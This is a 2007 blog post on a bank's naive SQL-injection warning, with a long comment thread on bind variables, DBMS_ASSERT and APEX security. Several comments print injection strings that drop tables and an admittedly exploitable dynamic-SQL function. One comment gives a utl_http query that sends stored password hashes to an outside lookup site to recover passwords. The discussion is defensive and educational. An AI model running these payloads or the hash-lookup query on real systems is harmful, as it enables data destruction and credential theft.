Friday, July 06, 2007

Can you spell...

SQL Injection... This is so sad, it makes you want to cry...  And this isn't from a "small company" with "limited resources" either.

 please don't sql inject us, don't use words like drop, select, insert, update, delete and so on. Pretty please.

Eh, it'll probably work, that layer of security.

Probably.

POST A COMMENT

31 Comments:

Blogger Jim said....

I find it interesting that most of the responses for solution involve setting up filters on the text string to catch the injected sql. Instead of taking the more scalable, more reliable and MUCH simpler method of using bind variables!

It is almost like there is an anathema with some developers to "Do the right thing".

Fri Jul 06, 12:19:00 PM EDT  

Blogger cycloscott said....

We must be on a similar bookmark schedule.
1. Check WorseThanFailure for new articles.
2. Check Tom's blog
3. See if there's anything new at AskTom.
4. What's the latest on cyclingnews.com

OK, that last one probably doesn't apply to you.

Fri Jul 06, 12:43:00 PM EDT  

Anonymous Anonymous said....

I think I will change my online banking passphrase to "UPDATE accounts SET balance = balance * 1.1 where account_owner = USER;"


-- yeah, yeah, I know. Just being a bit ironic is all.

Fri Jul 06, 03:05:00 PM EDT  

Blogger Arun Mathur said....

Wow! I wonder which team architected this solution...and how they got away with it???

Regards,
Arun

Fri Jul 06, 05:10:00 PM EDT  

Anonymous Anonymous said....

Is there a grammatical error or two in that error statement? I’m now left wondering how often spelling and grammar errors go through user testing. I’ve been asked to correct both in user documentation but I can’t remember an occasion in code.

Sat Jul 07, 07:45:00 PM EDT  

Anonymous Anonymous said....

0 Rows not loaded because all WHEN clauses were failed.

Sun Jul 08, 01:45:00 AM EDT  

Anonymous spatel said....

Damn thats www.totallynoob.com

We had a few nuts doing that at our place few years ago and our CRM is still suffering with those WHERE clauses being passed around in URL. And not just that, even our enterprise software distributed to vendors has the same level of programming.

This is exactly what happens when noobs are in-charge of app designing/programming.

In my experience it's generally a result of extremely tight deadlines (accepted witout no resource planning at all) combined with a rookie manager looking to impress bunch of C-level bosses.

Or, there was something seriously wrong in the interview process. HaHa

Cheers,

Sun Jul 08, 09:24:00 AM EDT  

Blogger AlexK said....

He that is without sin among you, let him first cast a stone at her...

I skimmed through various books and in every book I found SQL Injection as well, e.g. Tom's Expert-One-On-One(p712, p724, p726, p727, p728, p729, p1087, ...), Effective Oracle Database 10g (p577) Security by design, ...

Probably the developers took only code from these books...

Even Oracle experts like Don Burleson are writing unsecure code if you search on his webpage for sample code ...

Mon Jul 09, 07:47:00 AM EDT  

Blogger Thomas Kyte said....

He that is without sin among you

that ranks among the least smart comments I've ever seen - anywhere.

Hey - we all make mistakes, ignore them, don't spread the word. People probably won't exploit this stuff.

the code you refer to isn't "sql injection", most of it was actually demonstrating bind variables. The one utility "dump_*" used to dump a query to a flat file is an obvious "beware to whom you grant that"

sorry - but sql injection is such a problem - a huge one - that everyone needs to have it pointed out when it appears in real code like that.

Mon Jul 09, 09:23:00 AM EDT  

Blogger AlexK said....

Tom,

I agree with you that SQL Injection is a big problem and the bug in the bank is/was a big problem.

But could you explain why
"the code you refer to isn't "sql injection", most of it was actually demonstrating bind variables."

Is there a way to use bind variables for table names?

I do not understand why the following code from your book (e.g. dbms_lob, p.1087) is not vulnerable (no sql injection). And you are not demonstrating bind-variables here...

---------sample_code------------------
create or replace function to_blob(p_cname in varchar2, p_tname varchar2, p_rowid in rowid) return blob

as
l_blob blob;
l_id int;
begin
select lob_temp_seq.nextval into l_id from dual;

execute immediate
'insert into lob_temp (id,b_lob)
select :id, to_lob('|| p_cname || ' ) from '||p_tname || ' where rowid = :rid'
using in l_id, IN p_rowid;

select b_lob into l_blob from lob_temp where id=l_id;

return l_blob;

end;
/
---------sample_code------------------


Writing an exploit for your code is not a big challenge.


Do you think that computer books should contain unsecure code because input validation consumes too much paper?

Mon Jul 09, 10:21:00 AM EDT  

Blogger Thomas Kyte said....

No, you cannot bind identifiers - ever.

please point out issues, I concur that the example I used in the book could be exploited.

So, does that mean you should not point it out? I encourage people to point things out (many, most of the examples you pointed to were demonstrating HOW TO use bind variables).

It is true, a better example would verify that p_cname was in fact a valid oracle identifier (and nothing more) and that p_tname was the same.

And it will the next time I write it up, because yes - in the year 2007 I am much more personally aware of sql injection creeping into code than I was in 2000

Obviously I do not think that about computer books and encourage (actively, always) people to *point stuff out*

So, please - cast stones, it is called editing, reviewing in other venues.

Mon Jul 09, 10:29:00 AM EDT  

Blogger AlexK said....

Input validation is not easy. Just checking if p_tname is a valid oracle identifier is often not sufficient.

Sometimes you can bypass this kind of validation by creating an object called "' or 1=user1.f1--" and inject this into a function/procedure.
Or developers (e.g from Oracle in 10.2.0.3 in 2007) are using dbms_assert incorrectly, ....

I don't cast stones, I just want to highlight that nobody is perfect and most people wrote insecure code in the past (you, me, Oracle, all developers). Developers often forget their old development "sins".

From my experience I know that many developers never heard of sql injection.

You do not know how old the code from the bank is, who wrote the code (Oracle consulting, ...), ...

I'm still looking for a guide: "How to do input validation in Oracle if bind variables are not possible".

Is there something like that on asktom?

Mon Jul 09, 11:06:00 AM EDT  

Blogger Jim said....

AlexK,
Most RDBMS's support bind variables. (SQL Server, Oracle, DB2,Informix,etc.) It is rare that you cannot use bind variables. Most of the time bind variables are not used because:
1. The developer is too lazy.
2. The developer thinks it isn't as "flexible".
3. It is cooler to write some "filter" to prevent sql injection.
4. The developer hasn't heard of bind variables.
5. The developer things bind variables are slow and complicate code.

Mon Jul 09, 11:45:00 AM EDT  

Blogger Thomas Kyte said....

I don't cast stones

YOU SHOULD

WE SHOULD

EVERYONE SHOULD

this is not 'morality', this is not ethics, this is not a gray area.

these are BUGS and bugs must be pointed out - period.

Mine, yours, theirs. All of them.

It is not a matter of casting stones, or anything like that at all. It is a matter of peer reviewing.

Mon Jul 09, 12:01:00 PM EDT  

Blogger AlexK said....

Jim,

I know that most RDBMS support bind variables and I agree with your opinion 1-5 why developers are not using bind variables.

But you can't use bind variables for tables, in alter user, grant, alter session, alter system (AFAIK).

e.g. alter session with concatenation is used approx. 20 times in 10.2.0.3 PLSQL packages.

--

Tom,

why so unfriendly?

I just wrote a comment for your blog entry "SQL Injection... This is so sad, it makes you want to cry... And this isn't from a "small company" with "limited resources" either."


I changed my mind and now I think this is really a good comment from you about SQL Injection.

I will use it for my Oracle advisories... CPU July 2007 is near...

Is Oracle a small company? Has Oracle limited resources?

Have your ever saw the PLSQL code from Oracle or APEX? Must be a really sad moment for you ;-)

Mon Jul 09, 01:26:00 PM EDT  

Blogger Thomas Kyte said....

Alex,

I'm not being unfriendly, I'm being uncompromising.

You said "don't throw rocks", "he who is without sin".

That does not sit with me at all.

I have in fact seen (and corrected) bits of the APEX code. In fact, I can say that APEX is very bind friendly - they (the APEX developers) welcome feedback, ask for it, implement it.


If it were anything else, would you want me to sit back and say "eh, it's probably OK, just go for it, pretend it doesn't have flaws"

Yes, Oracle is a big place
With resources
And we are working constantly on improving - not ignoring - issues.

That is the point, the rocks must be thrown, the glass must be broken.

Mon Jul 09, 01:38:00 PM EDT  

Blogger Noons said....

"That is the point, the rocks must be thrown, the glass must be broken."


Let's hope that is a widespread attitude inside Oracle now. Because when I did just that in the past, I've had nothing back but calls to my managers and partners, bad-mouthing by Oracle sales/marketing and a lot of other niceties thrown at me...

Mon Jul 09, 10:20:00 PM EDT  

Blogger Thomas Kyte said....

Noons

Have you ever known me and/or the asktom site to be anything but - accepting of "no, this is not correct"?

Mon Jul 09, 10:29:00 PM EDT  

Anonymous Kirtan Desai said....

I may be a little late in the game here but just a two cents from me...If I understand tom's post correctly, it says that HE would never code like that. HE is saying that that is a bad practice. Now if there is some not so thought-out code in 10g or express, it just means that there is someone(maybe more than one) in oracle who doesn't really understand "things" that well. But that, by NO means, shows how oracle(or tom for that matter) practices things.
We all would love to see such practices adopted by every dev. team. I would love to implement it at every place/team I have worked with. But as AlexK sarcastically pointed out that Oracle is big company, it is sometimes not so easy to spread good practices companywide (lots of ego and bureaucracy).
For me, the bottom line is that we all should try to put good practices in every place we work WITHOUT trying to justify otherwise. I guess I put in $2 instead of two cents...oh well...

Mon Jul 09, 11:27:00 PM EDT  

Anonymous Anonymous said....

"AlexK:Have your ever saw the PLSQL code from Oracle or APEX?
Must be a really sad moment for you ;-)
....
TomK:I have in fact seen (and corrected) bits of the APEX code.
In fact, I can say that APEX is very bind friendly "

It's actually the whole security model for Apex that worries me; that Apex applications can be built to insert, update and delete against pretty much any schema without any specific grants.

Tue Jul 10, 02:48:00 AM EDT  

Blogger Thomas Kyte said....

... without any specific grants. ...

that is not true. Do you know APEX well enough to truly comment on it?

Tue Jul 10, 06:27:00 AM EDT  

Blogger Noons said....

No Tom: never.
That is why I keep coming back here and to Asktom.

Can't say that about the rest of Oracle though...
And yes, I know it's nothing to do with you.

Tue Jul 10, 08:32:00 AM EDT  

Anonymous Kashif said....

Hello Tom, others,

Just wanted to add that in SQL Server there is an option which allows you to quote table names, which provides a higher degree of protection from SQL injection in the FROM clause. You still can't bind table names, but you can minimize (some would say eliminate) successful SQL injection attacks using the FROM clause.

So for example, this is how you would construct your dynamic SQL statement:

"select * from " + quotename(@tablename) " where x=y"

@tablename is the table name parameter.

The resultant string would be:

select * from "TABLE1" where x=y

The idea is that if you surround your table name with quotes, the chances of someone being able to inject something in place of the table name and succeeding are much slimmer than if you did not quote the table name.

Something similar can be done in Oracle, e.g. converting the table name into uppercase before adding quotes around the table name, with the assumption of course that there are no mixed case table names.

Kashif

Tue Jul 10, 03:41:00 PM EDT  

Blogger Thomas Kyte said....

Kashif - pretty much all RDBMS's support the ansi standard quoted identifiers.

and in sqlserver, if I gave you:


T"; drop table t; --


would not your string resolve to be:

select * from "T"; drop table t; -- where x=y


the where x=y becomes a comment, we query all of the data and then drop the table...

At least in Oracle - the ";" is very hard to exploit, you have to find a dynamically constructed PLSQL block! Not just any sql statement to inject like sqlserver... (sql injection is actually easier in sqlserver because of their ';' tricks)

Tue Jul 10, 03:47:00 PM EDT  

Blogger Thomas Kyte said....

should have been:

would not your string resolve to be:

select * from "T"; drop table t; -- where x=y"

I missed the trailing "

Tue Jul 10, 03:48:00 PM EDT  

Anonymous Anonymous said....

"that is not true. Do you know APEX well enough to truly comment on it?"
Yes.
It is true that neither the FLOWS_nnn user or APEX_PUBLIC_USER need object privileges. The public user uses the FLOWS_nnnnn packages and the FLOWS_nnnnn packages use DBMS_SYS_SQL.PARSE_AS_USER to execute SQL as the 'application owner'.
It is true that, as soon as you create a user in Oracle, an Apex administrator can create an application for that user, inserting/updating/deleting from tables as if it were that user (or simply changing its password or dropping its tables).

Tue Jul 10, 11:21:00 PM EDT  

Blogger Thomas Kyte said....

the APEX administrator is like a DBA in that sense, yes. But what you said is not true - not any more so than for any DBA.

Wed Jul 11, 06:19:00 AM EDT  

Blogger AlexK said....

Kashif - you can do the same (quotename()) with Oracle using dbms_assert

stmt := 'select * from '||sys.dbms_assert.enquote_name(tablename)||' where x=y'

dbms_assert is an official package from Oracle since 10g R2 and back-ported to 8i-10g R1. But keep in mind that dbms_assert is sometimes used incorrectly. Use dbms_assert only if bind variables are not possible.


Here some examples of INCORRECT usage of dbms_assert (taken from 10.2.0.3):
--------------
tablespace_name = ' ||
' '''||DBMS_ASSERT.SIMPLE_SQL_NAME(TABLE_SPACE)||''' ) b ' ||
' where ...
==> problem: hardcoded single quote
--------------
or
--------------
NEWSTMT := ' UPDATE MYTABLE set colum1=:val1, '
|| DBMS_ASSERT.NOOP(UPD2) ;
==> problem: dbms_assert.noop is doing nothing
==> no input validation
==> I'm still wondering why this function exists? Tom?
--------------

Tom - quotename() from MS throws an error if you pass a string containing doublequotes (similar to dbms_assert.enquote_name). Your exploit would not work...

I agree that SQL Injection is much easier to exploit in SQL Server and PL/SQL injection is rare but a single vulnerability is normally enough.


APEX:
Apex is a nice application. But there is still some room for security enhancements:

1.) It's a insecure (information retrieval, not critical but unsecure) that APEX uses an Oracle user called FLOWS_030000 because this username can be used for information retrieval (sqlplus FLOWS_030000/hello@db returns ORA-28000 => we know that APEX 3.0 is installed without having an account in the database). A version number should never be encoded in the user name.

2.) User passwords are using pure MD5 (no salt, no additional strings) for hashing the user passwords. The following select statements returns all passwords in plaintext (if users are using weak passwords available in rainbow tables, which is not uncommon).

Select utl_http.request('http://md5.rednoize.com/?q='||web_password_raw ||'&b=MD5-Search') from flows_020100.wwv_flow_fnd_user;

Wed Jul 11, 06:39:00 AM EDT  

Anonymous Kashif said....

Tom,

I should've been clearer and mentioned that the default delimiter character is a square bracket ([]). Though you do have the option of using double quotes. So, if I pass in:

T"; drop table t; --

according to your example, it would resolve the string as:

SELECT * FROM "T""; drop table t; --" WHERE 1=1

SQL Server escapes the extra quote passed in. When I run this particular statement, I get the following error:

Server: Msg 208, Level 16, State 1, Line 1
Invalid object name 'dbo.T"; drop table t; --'.

Notice how it thinks that the extra double quote is part of the identifier, and that it thinks the whole string ('dbo.T"; drop table t; --) is the table name.

AlexK - Thanks for the DBMS_ASSERT tip, I'll use that next time around.

Kashif

Wed Jul 11, 01:38:00 PM EDT  

Anonymous Younes said....

I don't understand people that don't use bind variables in their code!
Never mind SQL-Injection you eliminate by using them, Never mind the performance gain, it's just simpler to code with bind variables!!!

And the message is so funny, kind of "We have 1M$ in cash and we are not armed, please don't rob us!". At least don't advertise your security hole!

Thu Jul 12, 11:17:00 AM EDT  

Anonymous JennyTsai said....

Great discussion topic, Tom!

AlexK,

I am working on a SQL Injection tutorial. Input validation / sanitization is one of the areas I want to address. Do you have any more examples of mis-uses of DBMS_ASSERT that you can share with me? Feel free to email me directly at jenny.tsai@oracle.com.

Thanks.

Wed Sep 05, 04:12:00 AM EDT  

POST A COMMENT

<< Home